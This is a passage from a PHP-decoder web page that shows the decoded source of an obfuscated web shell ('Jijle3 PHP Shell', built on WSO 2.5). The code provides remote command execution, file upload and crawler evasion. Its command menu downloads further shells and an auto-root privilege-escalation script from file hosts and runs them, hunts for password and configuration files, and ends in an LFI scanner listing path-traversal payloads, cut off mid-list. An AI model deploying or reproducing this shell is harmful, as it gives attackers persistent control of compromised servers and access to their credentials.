Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34..
Decoded Output download
?><?php
echo "<link rel='shortcut icon' href='http://www.dz-streaming.eu/favicon.ico'>
<style type='text/css'>
input[type=submit], input[type=button], input[type=reset]{
text-align:center;
background:url(http://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
border:1px solid #4D4D4D;
color:#CCCCCC;
border-top-color:#565656;
padding:4px 6px;
margin:4px 5px;
height:16px;
-moz-box-shadow:0 0 1px black;
-webkit-box-shadow:0 0 1px black;
box-shadow:0 0 1px black;
text-shadow:0 1px black;
-moz-border-radius:4px;
-webkit-border-radius:4px;
-khtml-border-radius:4px;
border-radius:4px;
height:23px;
}
input[type=submit]:hover , input[type=button]:hover, input[type=reset]:hover{
background-position:center top;
text-decoration:none;
}
input[type=text], input[type=password]{
background:urlhttp://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
border:1px solid #4D4D4D;
color:#CCCCCC;
border-top-color:#565656;
-moz-box-shadow:0 0 1px black;
-webkit-box-shadow:0 0 1px black;
box-shadow:0 0 1px black;
-moz-border-radius:4px;
-webkit-border-radius:4px;
-khtml-border-radius:4px;
border-radius:4px;
height:18px;
margin-left: 5px;
}
input , textarea , button , body , caption , table ,area , option {
outline:none;
transition: all 0.20s ease-in-out;
-webkit-transition: all 0.25s ease-in-out;
-moz-transition: all 0.25s ease-in-out;
border-radius:3px;
-webkit-border-radius:3px;
-moz-border-radius:3px;
border:1px solid rgba(0,0,0, 0.2);
/* font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
}
input , textarea {
background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
}
input:focus, textarea:focus ,button:active , body:focus , caption:focus , table:focus ,area:focus ,option:focus {
box-shadow: 0 0 5px rgba(0, 0, 255, 1);
-webkit-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
-moz-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
border: 1px solid #CCCC00;
background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
overflow: auto;
/* font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
}
body{
/* font-family : Verdana; */
color : #f9f6f1;
font-size : 0.7em;
background: url(http://i44.tinypic.com/i56tc9.jpg) no-repeat center top #252525;
}
input , textarea {
outline:none;
transition: all 0.20s ease-in-out;
-webkit-transition: all 0.25s ease-in-out;
-moz-transition: all 0.25s ease-in-out;
border-radius:3px;
-webkit-border-radius:3px;
-moz-border-radius:3px;
border:1px solid rgba(0,0,0, 0.2);
}
input:focus, textarea:focus {
outline: 0;
border-color: rgba(82, 168, 236, 0.8);
-webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
-moz-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
overflow: auto;
}
</style>
";
# jijle3 login
#$auth_pass = md5('Jijle3');
#$color = "#df5";
#$default_action = 'Home';
#$default_use_ajax = true;
#$default_charset = 'Windows-1251';
#if(!empty($_SERVER['HTTP_USER_AGENT'])) {
# $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
#if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
# header('HTTP/1.0 404 Not Found');
# exit;
# }
#}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
die("<center><span>Password : </span><input type=password name=pass><input type=submit value='Enter'></form></pre>");
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}
if(strtolower(substr(PHP_OS,0,3)) == "win")
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\", "/", $home_cwd);
$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
if($os == 'win')
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
else
$aliases = array(
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"Jijle3 : Get Nother Shells"=>"",
"Dhanush Shell | pass:Jijle3"=>"wget http://download1582.mediafire.com/9jtscxv4qdzg/7zq2q32v02kz59j/dhanush.php.zip ; unzip dhanush.php.zip",
"K2ll33d Shell "=>"wget http://download1643.mediafire.com/iq7073edn7pg/3vqec9bm5krrdrj/kil223dd.php.zip ; unzip kil223dd.php.zip",
"1n73ction Shell | pass:1n73ction "=>"wget http://download1512.mediafire.com/m8hgk0nnrupg/954ho11nt2b48w8/1n73ction.php.zip ; unzip 1n73ction.php.zip",
"Cyber Shell | pass:Jijle3"=>"wget http://download1512.mediafire.com/phidtd82s8vg/q6qx0xhcd1efzd5/cyb3.php.zip ; unzip cyb3.php.zip",
"Jijle3 : Some Commonds"=>"",
"Logged in users"=>"w",
"Last to connect"=>"lastlog",
"IP Addresses"=>"cat /etc/hosts",
"Check MMAP"=>"cat /proc/sys/vm/mmap_min_addr",
"USER WITHOUT PASSWORD!"=>"cut -d: -f1,2,3 /etc/passwd | grep ::",
"List of Cpanel`s domains(valiases)"=>"ls -l /etc/valiases",
"Downloaders?)"=>"which wget curl w3m lynx",
"Show running proccess"=>"ps aux",
"Memory check"=>"cat /proc/meminfo",
"Get cpanel logs"=>"cat /var/cpanel/accounting.log",
"Jijle3 : Auto Root Commonds"=>"",
"First ! : GET Auto Root File [ Perl ]"=>"wget http://download944.mediafire.com/5fi1yfk5ttcg/u4seoaw7ze1dio0/phdz.pl.zip ; unzip phdz.pl.zip ; ./phdz.pl",
"AutoRoot [ Linux ]"=>"perl phdz.pl linux",
"AutoRoot [ FreeBSD ]"=>"perl phdz.pl bsd",
"AutoRoot [ SunOS ]"=>"perl phdz.pl sunos",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" =>"locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files"=>"locate '.conf'",
"locate .pwd files" => "locate '.pwd'",
"locate .sql files" => "locate '.sql'",
"locate .htpasswd files" => "locate '.htpasswd'",
"locate .bash_history files" => "locate '.bash_history'",
"locate .mysql_history files" => "locate '.mysql_history'",
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
function wsoHeader() {
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
global $color;
if(!$color) $color = '#df5';
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " | Jijle3 [PHDZ]</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:250px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
if(strpos('Linux', $kernel) !== false)
$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
else
$explink .= urlencode($kernel . ' ' . substr($release,0,3));
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
}
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach($charsets as $item)
$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
$m = array('Home'=>'home','Sec Info'=>'SecInfo','Exec'=>'Console','Sql'=>'Sql','Baypass'=>'bypss','Forums'=>'forum','Symlink'=>'symlinker','Domain'=>'domains','Tools'=>'tools','Cgi'=>'cgi','String'=>'StringTools','Network'=>'Network','About'=>'about' );
if(!empty($GLOBALS['auth_pass']))
$m['Logout'] = 'Logout';
$m['Suicide'] = 'SelfRemove';
$menu = '';
foreach($m as $k => $v)
$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
$drives = "";
if($GLOBALS['os'] == 'win') {
foreach(range('c','z') as $drive)
if(is_dir($drive.':\'))
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
. '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[ Google ]</a> <a href="http://www.exploit-db.com/search/?action=search&filter_description='.urlencode(@php_uname()).'" target="_blank">[ Exploit-db ]</a> <a href="http://www.1337day.com/search" target="_blank">[ 1337day ]</a> <a href="http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q='.urlencode(@php_uname()).'" target="_blank">[ ExploitSearch ]</a> <a href="http://www.shodanhq.com/exploits?q='.urlencode(@php_uname()).'" target="_blank">[ Shodanhq ]</a> </nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' ) <span>Locals Pack :</span><a href="http://rghost.net/6YYsd7ynN" target="_blank"> [ Download ]</a></b> <br>' . @phpversion() . '<span>Safe mode:</span> '
. ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font> ' )
. ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ File Manager ]</a><br><br>' . $drives . '</td>'
. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Your IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr><br>
</td></tr></table>'
. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}
function wsoFooter() {
$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr>
<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMAn'>
<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
</tr></table></div></body></html>";
}
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }
function wsoEx($in) {
$out = '';
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("
",$out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function wsoViewSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function wsoPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function wsoPermsColor($f) {
if (!@is_readable($f))
return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
elseif (!@is_writable($f))
return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
else
return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
}
function wsoScandir($dir) {
if(function_exists("scandir")) {
return scandir($dir);
} else {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function wsoWhich($p) {
$path = wsoEx('which ' . $p);
if(!empty($path))
return $path;
return false;
}
function actionSecInfo() {
wsoHeader();
//Sec info
echo '<h1>Server Security Info</h1><div class=content>';
?>
</div>
</center>
<?php
function wsoSecParam($n, $v) {
$v = trim($v);
if($v) {
echo '<span>' . $n . ': </span>';
if(strpos($v, "
") === false)
echo $v . '<br>';
else
echo '<pre class=ml1>' . $v . '</pre>';
}
}
wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
if(function_exists('apache_get_modules'))
wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
wsoSecParam('Open base dir', @ini_get('open_basedir'));
wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysql_get_client_info'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists('mssql_connect'))
$temp[] = "MSSQL";
if(function_exists('pg_connect'))
$temp[] = "PostgreSQL";
if(function_exists('oci_connect'))
$temp[] = "Oracle";
wsoSecParam('Supported databases', implode(', ', $temp));
echo '<br>';
if($GLOBALS['os'] == 'nix') {
wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
wsoSecParam('OS version', @file_get_contents('/proc/version'));
wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if(!$GLOBALS['safe_mode']) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
echo '<br>';
$temp=array();
foreach ($userful as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Userful', implode(', ',$temp));
$temp=array();
foreach ($danger as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Danger', implode(', ',$temp));
$temp=array();
foreach ($downloaders as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Downloaders', implode(', ',$temp));
echo '<br/>';
wsoSecParam('HDD space', wsoEx('df -h'));
wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
}
} else {
wsoSecParam('OS Version',wsoEx('ver'));
wsoSecParam('Account Settings',wsoEx('net accounts'));
wsoSecParam('User Accounts',wsoEx('net user'));
}
echo '</div>';
wsoFooter();
}
################# Home #################
function actionhome() {
wsoHeader();
//Home
echo'
<center>
<h1>[ Salam ♥ Alaykoum ]</h1>
<br /><br />
</form>
';
?><head>
<body bgcolor="Black"><table width=100% height=100%><td align="center">
<img src="http://www5.0zz0.com/2014/11/29/18/934285237.png" height="150" title="Martyrs Crew 2015 " width="478" ></img></img><p>
</img></img><p>
<span class="style1"><font size="9" color="#FFFFFF" face="Adobe Heiti Std R"></font><font size="9" face="Adobe Heiti Std R" color="#008000"></font><font size="7" color="#df5" face="Adobe Heiti Std R">
Jijle3 PHP Shell v 0.1.8</font><font size="9" face="Adobe Heiti Std R" color="#008000"></font><font size="7" color="#FFFFFF" face="Adobe Heiti Std R"></font></span></p>
<span>[ Say Hamd Li ' Allah ♥ ] </span>
<p>
<img src="http://im48.gulfup.com/jIm93E.png" height="92" title="Martyrs Crew Index Logo 2014 " width="178" ></p>
<p>
<pre>
<iframe src="//www.facebook.com/plugins/likebox.php?href=https%3A%2F%2Fwww.facebook.com%2FJ1jeI&width&height=62&colorscheme=light&show_faces=false&header=true&stream=false&show_border=true" scrolling="no" frameborder="0" style="border:none; overflow:hidden; height:62px;" allowTransparency="true"></iframe><pre>
<p>
<?
echo $serverIP = gethostbyname($_SERVER["HTTP_HOST"]);
echo '</center><br>';
echo "<br><br><center><b><font face='Tahoma' name=sip color='white' size='2pt'>Jijle3 PHP Web Shell V 0.1.8 (c) Phenomene Dz [ Martyrs Crew ] 2015</font></b></td><font face='Tahoma' color='WHITE' size='2pt' />";
echo " <b><a href='http://bing.com/search?q=ip:".$serverIP."&go=&form=QBLH&filt=all' target=\"_blank\">Bing.com
</a></b> - <b><a href='http://zone-h.com/archive/ip=".$serverIP."
' target=\"_blank\">Zone-H.org</a> -  <a href='http://www.yougetsignal.com/tools/web-sites-on-web-server/
' target=\"_blank\">Yougetsignal.com</a>
- <b><a href='http://toolbar.netcraft.com/site_report?url=https://" . $_SERVER['HTTP_HOST'] . "&go=&form=QBLH&filt=all' target=\"_blank\">NetCraft.com
</a></b> - <b><a href='https://pentest-tools.com/
' target=\"_blank\">Pentest-Tools.com</a>
</b></center><br>";
wsoFooter();}
################# End Home #################
function actionlfiscan() {
wsoHeader();
print '
<h3>Led-Zeppelin\'s LFI File dumper</h3>
<form method="post" action="?"><input type="hidden" name="a" value="lfiscan">
LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype">
<option value="1">
Access Log
</option>
<option value="2">
httpd.conf
</option>
<option value="3">
Error Log
</option>
<option value="4">
php.ini
</option>
<option value="5">
MySQL
</option>
<option value="6">
FTP
</option>
<option value="7">
Environ
</option>
</select> Null: <select name="null">
<option value="%00">
Yes
</option>
<option value="">
No
</option>
</select> User-Agent: <input type="text" size="20" name="custom_header" value="">
</form>';
error_reporting(0);
if($_POST['lfiurl']) {
print "<pre>";
$cheader = $_POST['custom_header'];
$target = $_POST['lfiurl'];
$type = $_POST['scantype'];
$byte1 = $_POST['null'];
$lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
$lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
$lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
$lfiaccess = array(
1 => "../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
4 => "../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
5 => "../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
8 => "../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
9 => "../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
10 => "../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
11 => "../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
12 => "../../../../../../../../../../../../../../var/log/access_log".$byte1."",
13 => "../../../../../../../../../../../../../../var/log/access.log".$byte1."",
14 => "../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
15 => "../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
16 => "../../../../../../../../../../../../../../logs/access.log".$byte1."",
17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
19 => "../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
